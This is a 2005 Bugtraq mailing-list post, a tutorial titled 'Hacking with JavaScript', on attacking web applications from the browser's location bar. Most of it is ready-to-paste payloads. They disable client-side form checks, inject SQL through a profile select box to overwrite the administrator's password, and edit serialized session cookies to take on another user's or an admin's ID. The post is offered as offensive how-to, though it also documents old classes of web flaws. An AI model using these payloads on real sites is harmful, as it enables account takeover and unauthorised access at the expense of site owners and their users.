Date: Wed, 09 Feb 2005 13:43:23 +0000
From: "hictor ertd" <hict0r@...mail.com>
To: bugtraq@...urityfocus.com
Subject: HACKING WITH JAVASCRIPT


HACKING WITH JAVASCRIPT
hictor

This tutorial is an overview of how javascript can be used to bypass 
simple/advanced html forms and how it can be used to override cookie/session 
authentication.

SIMPLE HTML FORMS

1. Bypassing Required Fields

	Surely you have met a webpage that requires you to fill all fields in a 
form in order to submit it. It is possible to bypass these types of 
restrictions on any webpage. If you take a look at the webpage's source and 
follow it down to the form's code, you will notice the onsubmit form 
attribute. Hopefully by this time you have experienced the power of 
javascript and you know that javascript has control over every single 
element in a webpage, including forms.We can use javascript to our advantage 
in every page we view for we can modify, delete, or add any element to the 
webpage. In this case we wish to clear the form's onsubmit attribute in 
order for the form to be submitted successfully.

	The onsubmit attribute generally points to a function that checks the form 
to have the correct format.  A function that does this may look something 
like this:

		function formSubmit(x)
		{
			if(x.email.value=="") return false;
			return true;
		}

		...

		<form name="spamform" method=post action="process.php" onsubmit="return 
formSubmit(this);">
		...
		</form>

	I will not go into great detail about how the formSubmit function works. 
You should know that if the (textfield/optionfield/option/..) field is left 
blank, the form will not be submitted to process.php. Now comes the moment 
of truth, how do we modify the form so that onsubmit returns true everytime? 
The way we can access the form with javascript and do this is:

		document.forms[x].onsubmit="return true;";

		or

		document.spamform.onsubmit="return true;";

	Both of these 'queries' will allow you to submit the form free of 
restrictions.  The secret is how to execute this.  I do this using my 
browser's Location bar. All you have to do is enter this text into the 
location bar and press enter:

		javascript:document.spamform.onsubmit="return true;";

	The above statement will not work because the 'query' will return a value 
javascript doesn't know what to do with it so it dumps the returned value on 
the screen. We need a way to use this value and escape it from passing on to 
javascript. I know the exact way to do this, with alert()!

		javascript:alert(document.spamform.onsubmit="return true;");

	You will see an alertbox with "return true;" instead of dumping this value 
out to the webbrowser. Once you have executed this query you will be able to 
enter whatever value into whatever field in spamform.



2. Changing Fields' Values

	If you have managed to change a form's onsubmit attribute to let you do 
whatever the fuck you want, what are the limits? Of course now you know that 
you can modify the onsubmit attribute of a form from the location bar, same 
goes for any attributes of any object in the page. This is how you can do 
it:

		javascript:alert(document.spamform.fieldname.value="Dr_aMado was here!");

		or

		javascript:alert(document.forms[x].fieldname.value="Dr_aMado was here!");

	But of course, you already knew that. Didn't you?  You can change the 
values of pretty much anything inside a form, including radios, checkboxes, 
selects, hidden values, buttons, anything!


SQL INJECTIONS

1.  Using Forms to Your Advantage

	You probably already know about sql injection, my goal is to explain how 
vulnerable forms can be if not handled correctly.  When targeting a system, 
most times you will start off with 0 code to exploit. The only thing you 
have is a constructed webpage to break to pieces and successfully find 
vulnerabilities to use to your advantage.

		ACQUIRING DATABASE INFORMATION

	A very logic way of acquiring system information from a website's database 
is by causing errors in the sql queries.  These errors can be created 
through search forms, dynamic links, or session cookies.  Most sql injection 
papers explain how dynamic links and text boxes can be used to execute sql 
queries but in my opinion, this vulnurability is more common in other input 
types (select boxes, hidden fields, checkboxes and radio buttons, and 
cookies!).

	Mixing data types generally crashes a webpage if it's not well coded. Take 
for example a link to "memberinfo.php?o_id=1". If your goal is to crash that 
page it would be a good idea to stick in a " or a ' in the o_id variable.  
If you're lucky you will get a debug message containing the crippled sql 
query. After you have all the information you need and you know what you're 
going after you're ready to hack the hell out of every page that you have 
access to.

		CHANGING FIELDS' VALUES

	The first form you think of is the profile page.  Most profile pages ignore 
a user's intellectuals and don't mask out,for example, select boxes. A way 
of exploiting this vulnerability is by injecting a sql query in the value 
property of the field.

		javascript:alert(document.profileform.user_sex.value="gay\',user_pasword=\'HACKED\' 
WHERE user_id=1#");

	If we assume that the server side sql query looks something like this:

		"UPDATE user_data SET 
user_password='$user_password',user_email='$user_email',user_sex='$user_sex' 
WHERE user_id=$user_id";

		Then the final query will look somewhat like this:

		"UPDATE user_data SET 
user_password='mypassword',user_email='myemail',user_sex='gay',user_password='HACKED' 
WHERE
		user_id=1 #' WHERE user_id=7382";

		# Is a sql comment operator.

2.  Bypassing Session Cookies

		OVERRIDING BASIC SESSION COOKIE AUTHENTICATION

	Most of the time session handling is done with the use of cookies. The 
cookies tell the webpage who you are and what you have access to and what 
you don't have access to.  If the page does not handle session cookies 
correctly a  hacker might be able to change their identity to that of 
another user's.  Cookies are stored in "window.document.cookie".  With 
javascript we are able to erase,edit,create cookies for any website.  This 
task is more complicated than regular types of attacks. I will not go into 
great detail about how it's done.

		To View the Cookie:
			javascript:alert(unescape(document.cookie));

		To Change Cookie Data:

			javascript:alert(window.c=function 
a(n,v,nv){c=document.cookie;c=c.substring(c.indexOf(n)+n.length,c.length);c=c.substring(1,((c.indexOf(";")>-1) 
? c.indexOf(";") : 
c.length));nc=unescape(c).replace(v,nv);document.cookie=n+"="+escape(nc);return 
unescape(document.cookie);});alert(c(prompt("cookie 
name:",""),prompt("replace this value:",""),prompt("with::","")));

		So If You are logged in as "John Doe" in www.ima13370h4x0r.net and your 
session cookie reads:

			SessionData=a:3:{s:11:"SessionUser";s:5:"75959";s:9:"SessionID";i:70202768;s:9:"LastVisit";i:1078367189;}

	The cookie is actually serialized but you should be able to recognize 
"75959" as your user_id. Some of the time you will find a website that 
stores data (like user_id) in cookies but does not typecast the data. This 
is a serious hole in the site's code because any user is able to change 
their user_id to any other user or administrator user_id.

	Changing the cookie value is easy once you have declared the window.c 
function. First change s:5:"75959" to s:x:"ADMINID" where x is the length of 
the new value. So if you want to change 75959 to 1. You must change 
s:5:"75959" to s:1:"1" :-) Sometimes you will need to change 75959 to "13 or 
1=1" in order to bypass any WHERE statements any sql session queries used to 
keep you logged in the website.


----------------------------------------------------------------------------------------
Notes:
	In-line javascript statements can be added to your browser's favorites for 
easier access to your own functions.
	It is possible to declare your own functions for use in extended hacks. 
Declare the function as a method of window. "alert(window.newfunction = 
function (){...})"
----------------------------------------------------------------------------------------

am hictor
lezr.com
thnk you rodhedor
hict0r@...mail.com

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